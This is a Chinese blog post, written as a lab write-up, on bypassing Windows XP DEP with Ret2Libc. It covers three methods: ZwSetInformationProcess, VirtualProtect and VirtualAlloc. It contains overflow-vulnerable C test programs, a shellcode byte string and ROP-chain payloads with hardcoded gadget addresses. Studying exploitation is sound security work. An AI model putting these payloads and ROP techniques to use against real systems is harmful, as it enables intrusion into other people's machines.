美文网首页
DEP绕过之Ret2Libc

DEP绕过之Ret2Libc

作者: BJChangAn | 来源:发表于2017-12-25 19:51 被阅读0次

    还是和linux下溢出利用对比。

    开启了DEP后,栈的内存空间变成不可执行,无法再把shellcode布置其中然后执行。而如果在代码区找到一些替代指令,通过ROP链的方式连接起来,来达到shellcode的功能,这在linux下是完全可行的(即ROP技术,毕竟system('/bin/sh')或execve('/bin/sh')是非常简捷的),但是在windows下要复杂的多的多的多,并且不具备通用性。

    《0day》书中提到了在继承这种思想(即Ret2Libc)的大前提下,三种经过改进的,相对比较有效的绕过DEP的exploit方法。

    1.使用ZwSetInformationProcess( )将DEP关闭后再转入shellcode执行

    2.使用VirtualProtect将shellcode所在内存页设置为可执行状态,然后转入shellcode执行

    3.使用VirtualAlloc开辟一段具有执行权限的内存空间,复制shellcode到其中执行

    0x00 Ret2Libc实战之利用ZwSetInformationProcess

    一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess进行查询和修改。(有些资料中将这些函数成为NtQueryInformationProcess和 NtSetInformationProcess,在Ntdll.dll中Nt**函数和Zw**函数功能是完全一样的。

    _KEXECUTE_OPTIONS结构定义:

    Pos0: ExecuteDisable  :1bit

    Pos1: ExecuteEnable   :1bit

    Pos2: DisableThunkEmulation : 1bit

    Pos3: Permanent         :1bit

    Pos4: ExecuteDispatchEnable  : 1bit

    Pos5: ImageDispatchEnable  :1bit

    Pos6: Spare    :2bit

    其中Permanent置1后这些属性都无法再修改。真正影响DEP的是前两位,所以我们只要把_KEXECUTE_OPTIONS设置为2(0b00000010)就可以关闭DEP

    关键函数ZwSetInformationProcess的定义:

    ZwSetInformationProcess(

        IN HANDLE                ProcessHandle,     //进程的句柄,设置为-1表示当前进程

        IN PROCESS_INFORMATION_CLASS     ProcessInformationClass,     

        IN PVOID                   ProcessInformation,

        IN ULONG                 ProcessInformationLength );

    Skape和Skywing在他们的论文Bypassing Windows Hardware-Enforced DEP中给出了关闭DEP的参数设置:

    ZwSetInformationProcess(

    NtCurrentProcess( ),            //(HANDLE) -1

    ProcessExecuteFlags,          // 0x22

    &ExecuteFlags,                   // ptr to 0x2

    sizeof(ExecuteFlags));      // 0x4

    具体的构造利用还要考虑到字符串复制时’\x00'截断的问题,还有一种方法就是在系统中寻找已经构造好的参数,如果系统中存在一处关闭当前进程DEP的调用,我们就可以直接用它构造参数来关闭进程的DEP了。

    微软的兼容性考虑,如果一个进程的Permanent位没有设置,当它加载DLL时,如果符合以下条件之一时进程的DEP就会被关闭:

    1)当DLL受SafeDisc版权保护系统保护时

    2)当DLL包含有 .aspcak   、   .pcle    、  .sforce等字节时

    3)windows vista下面当DLL包含在注册表”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DIINXOptions“键下边标识出不需要启动DEP的模块时。

    换言之如果我们能够模拟其中一种情况(例如借助ROP更改用于判断的寄存器值),那么当前进程的DEP将被关闭。

    一开始想跳过这一节直接看用virtualprotect的方法的,后来发现这里提到了后面也要用到的调整ebp和esp,还是比较有意思的。


    首先是漏洞代码:

    #include<stdlib.h>

     #include<string.h>

    #include<stdio.h>

    #include<windows.h>

    char shellcode[]=

    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6f\x69\x74\x21\x68\x65\x78\x70\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90"

    "\x52\xe2\x92\x7c" //mov eax,1 ; retn

    "\x24\xcd\x93\x7c";

    void test()

    {

         char tt[176];

         strcpy(tt,shellcode);

    }

    int main()

    {

          HINSTANCE hInst = LoadLibrary("shell32.dll");

          char temp[200];

          test();

          return 0;

    }

    先把shellcode放好,然后再用计算偏移量的方法计算还需要多少字节能够覆盖到EIP,并用\x90填充。

    用od插件查找LdrpCheckNXCompatibility函数,在0x7c93cd24对al寄存器的值进行检验之前,先在内存中寻找一条mov eax,1  ; retn的rop来修改eax,从而伪造出第一种情况中,DLL受SafeDisc版权保护系统保护的假象,然后再跳转到0x7c93cd24来关闭DEP。

    但是程序并没有如我们想象的那样执行:

    ebp被我们用来填充的\x90覆盖

    原来是我们覆盖EIP的时候把EBP也冲掉了,试图向[EBP-0x4]写入时出现了错误

    之后仍然能返回到LdrpCheckNXCompatibility中执行一直到retn,但是实际上所有的jnz都不会跳转,从而根本不会跳转到0x7c956831去执行用于关闭DEP的ZwSetInformationProcess函数!

    所以在转入0x7c93cd24前,需要将ebp指向一个可写的位置。满足可写只有esp,我们只能选择push esp pop ebp retn这样一条指令序列。(只是retn 4之后esp相当于+4+4相对ebp位于高地址,接下来若有压栈操作有可能将ebp-0x4覆盖,造成传参(第三个参数&ExecuteFlags)不正确)

    ebp-4果然被覆盖变成了0x22,但是其低四位与0x2相同仍然是0100不影响使用。

    然后。。。然后就叕叕出问题了

    关闭DEP返回的时候发现栈顶变成了0x000004,正是调用ZwSetInformationProcess传参时候压入的4,DEP是关掉了但是没法继续了也很无奈啊。。。究其原因还是因为esp在高地址而且距离ebp太近了,几次压栈就有可能冲掉栈中保存的返回地址,思路大概就是减小esp或者增大ebp,这里采用的办法是干脆增大esp(因为找不到增大ebp,而且shellcode在低地址减小esp的话又会破坏shellcode)

    这里使用0x5d18698d的retn 0x28来增大esp:

    exploit!

    0x01 Ret2Libc实战之利用VirtualProtect

    原理上类同linux下用mprotect修改内存页权限来绕过NX执行shellcode(linux x64 ROP in XMAN-Level5

    MSDN 上的函数说明

    lpAddress:要改变属性的内存起始地址

    dwSize:要改变属性的内存区域大小

    flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行

    pflOldProtect:内存原始属性类型保存地址

    需要注意:

    1)参数中包含\x00,使用strcpy复制字符串会被截断,试验中用memcpy构造溢出点

    2)试验中使用一种巧妙地栈帧构造方法确定shellcode所在内存空间起始地址

    触发漏洞的程序:

    #include<stdlib.h>

    #include<string.h>

    #include<stdio.h>

    #include<windows.h>

    char shellcode[]=

    ""

    void test()

    {

     char tt[176];

     memcpy(tt,shellcode,420);

    }

    void jump()

    {

     __asm jmp esp;    //书中给的源码是没有这个函数的

    }

    int main() {

    HINSTANCE hInst = LoadLibrary("shell32.dll");

    char temp[200];

    test();

    return 0;

    }

    首先还是用\x90填充计算多少字节覆盖到返回地址

    接着需要调整ebp,还是使用push esp ; pop ebp ; retn 4序列的方式,返回后ebp和esp:

    查看我们需要调用的virtualprotectEX函数的传参:

    [ebp+0x8]        ===>    lpAddress          //要改变属性的内存起始地址   需要栈中相对于shellcode的低地址

    [ebp+0xc]        ===>    dwSize              //要改变属性的内存区域大小   设为0xff完全够用

    [ebp+0x10]      ===>    flNewProtect     //内存新的属性类型  0x40即为R W E

    [ebp+0x14]      ===>    pflOldProtect     //需要一可写地址

    retn 4之后esp恰好指向ebp+0x8,也就是说我们只需要一个mov [esp],**  ;  pop  ;pop  ;retn的指令序列就可以完成传参,但是没有找到这样一条指令序列。

    另一种方法就是使esp再增加4字节然后压栈,使esp增加4字节的指令很简单retn就可以完成,接着我们只需要push esp  ; pop ; pop  ;pop  ; retn这样的序列,就可以把esp+0x8的位置写入当前esp的值(显然是相对于shellcode的低地址),紧接着在栈上静态布置好size(0xff)和属性类型(0x40),pop指令不会去修改他们,最后再进行一次push esp pop pop pop retn,[ebp+0x14]需要的一可写地址也满足了,再填充8字节的nop又可以继续构造rop链。

    但是并没有找到一条push esp pop pop pop retn的序列,这里就提供一种拼接的方式,首先需要找到拼接的材料:

    1)push esp ; jmp eax

    2.)pop eax  ; retn

    3) pop ;pop ; pop ; retn (不能修改ebp,esp,eax)

                     ////////////////////////////////////////////////////

    esp==>     //address of pop eax retn          //

                     ////////////////////////////////////////////////////

                     //address of pop pop pop retn   //

                     /////////////////////////////////////////////////////

                     //address of push esp jmp eax   //

                     /////////////////////////////////////////////////////

    如此在栈中布局,就拼接出了一条push esp pop pop pop retn指令序列。然后就可以跳转到0x7c801ad9去执行virtualprotectEX,查看返回值:

    eax为1说明修改成功。

    最后jmp esp和布置shellcode之前要加入16字节\x90的填充,否则esp指向shellcode中间,shellcode开始处的压栈操作会破坏shellcode自身。

    PS:最后发现没有找到可执行的jmp esp???只能自己在代码段里内联了一个,或者既然地址没开随机化可以硬编码shellcode的起始地址。有时间还是学一学idc写一些自己用的方便插件。

    0x02 Ret2Libc实战之利用VirtualAlloc

    Windows XP

    VC++6.0

    Ollydbg

    ImmunityDebug(mona)

    代码:

    #include<stdlib.h>

    #include<string.h>

    #include<stdio.h>

    #include<windows.h>

    char shellcode[]=

    ""

    void test()

    {

    char tt[176];

    memcpy(tt,shellcode,450);

    }

    int main()

    {

    HINSTANCE hInst = LoadLibrary("shell32.dll");

    char temp[200];

    test();

    return 0;

    }

    180个填充后覆盖到反对地址

    这时ebp已经被我们的输入覆盖了,需要用push esp ; pop ebp ; retn修正ebp,接着就可以调用virtualAlloc()来申请一块新的可写可执行的内存。

    MSDN关于函数的参数说明

    参数:

    0x30000  申请空间起始地址

    0xfff         申请空间大小

    0x1000     申请类型

    0x40         申请空间访问类型(RWE)

    如果用这里的0x7c809af4的话,还要在加上一个参数0xffffffff表示当前进程。这些参数都是静态确定的所以可以直接放在栈中传递:

    "\x90\x90\x90\x90"

    "\x85\x8b\x1d\x5d"           //push esp ; pop ebp ; retn 4

    "\xf4\x9a\x80\x7c"            //call VirtualAlloc

    "\x90\x90\x90\x90"

    "\xff\xff\xff\xff"

    "\x00\x00\x03\x00"

    "\xff\x00\x00\x00"

    "\x00\x10\x00\x00"

    "\x40\x00\x00\x00"

    返回值为1说明申请成功,此时用od的Memory窗口可以看到0x30000开始的一片内存且权限为RWE。

    注意返回的时候有一个pop ebp的指令又破坏了ebp,所以还要重新修正ebp一次。

    接着需要做的就是把shellcode复制到0x30000中去执行,可以使用memcpy来完成这一步。

    dest:0x30000

    src  :<=shellcode start

    count:长度可以覆盖到shellcode

    可以直接使用程序代码中的memcpy,这里并没有调用ntdll里面的memcpy:

    主要需要考虑的就是memcpy的源地址,当然这里shellcode是硬编码进去的,可以静态确定。但是更一般的情况是shellcode出现在用户的输入中,作为局部变量存储在栈中,所以shellcode的起始地址需要我们动态确定。事实上只需要一个在栈中相对于shellcode的低地址就足够了。一条push esp就可以帮助我们完成传参!

    考虑第二次修正ebp之后栈的情况

    "\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4                               

    "\x3d\x19\xfa\x7f"   //pop edx retn      <==== ebp

    "\x08\x00\x03\x00"   //memcpy返回后将跳转到这里指向的地址

    "\x00\x00\x03\x00"

    ebp将会指向如上的位置,此时再在栈中ebp+8的位置填入0x30000,即完成了第一个参数的传入,接着pop retn防止第一个参数被修改,返回地址处填上push esp ; jmp eax,eax可以预先放上一个pop pop retn的地址,即拼出一条push esp ; pop ; pop ; retn的指令,防止后两个参数被修改,retn的地址放上0x401050。

    总体的布局:

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90"

    "\x85\x8b\x1d\x5d" //adjust ebp retn 4

    "\xf4\x9a\x80\x7c" //call virtualalloc

    "\x90\x90\x90\x90"

    "\xff\xff\xff\xff"

    "\x00\x00\x03\x00"

    "\xff\x00\x00\x00"

    "\x00\x10\x00\x00"

    "\x40\x00\x00\x00"

    "\x90\x90\x90\x90"

    "\xfc\xda\xce\x7d" //pop eax retn

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //paddings for retn 0x10 "\xb9\x81\xce\x7d" //pop pop retn

    "\x85\x8b\x1d\x5d" //adjust ebp retn 4

    "\x3d\x19\xfa\x7f" //pop edx retn

    "\x08\x00\x03\x00"

    "\x00\x00\x03\x00"

    "\xc6\xc6\xeb\x77" //push esp jmp eax

    "\xff\x0f\x00\x00" //length

    "\x55\x10\x40\x00"

    “......” //shellcode

    EXPLOIT!

    相关文章

      网友评论

          本文标题:DEP绕过之Ret2Libc

          本文链接:https://www.haomeiwen.com/subject/poolgxtx.html